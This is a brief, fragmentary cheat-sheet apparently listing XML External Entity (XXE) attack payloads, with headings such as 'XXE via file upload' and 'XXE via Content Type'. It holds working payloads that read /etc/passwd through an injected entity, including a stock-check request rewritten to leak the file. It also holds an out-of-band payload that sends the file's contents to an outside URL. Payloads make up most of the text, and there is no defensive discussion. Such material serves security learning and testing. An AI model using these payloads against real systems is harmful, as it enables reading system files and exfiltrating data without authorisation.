XML External Entity
XXE Type Attack
<!DOCTYPE foo [ <!ENTITY % file SYSTEM "file:///etc/passwd" >
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://localhost.com/?x=%file;'>"> %eval; %exfiltrate; ]>`Exploit happen
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>XXE via file upload
XXE via Content Type
Last updated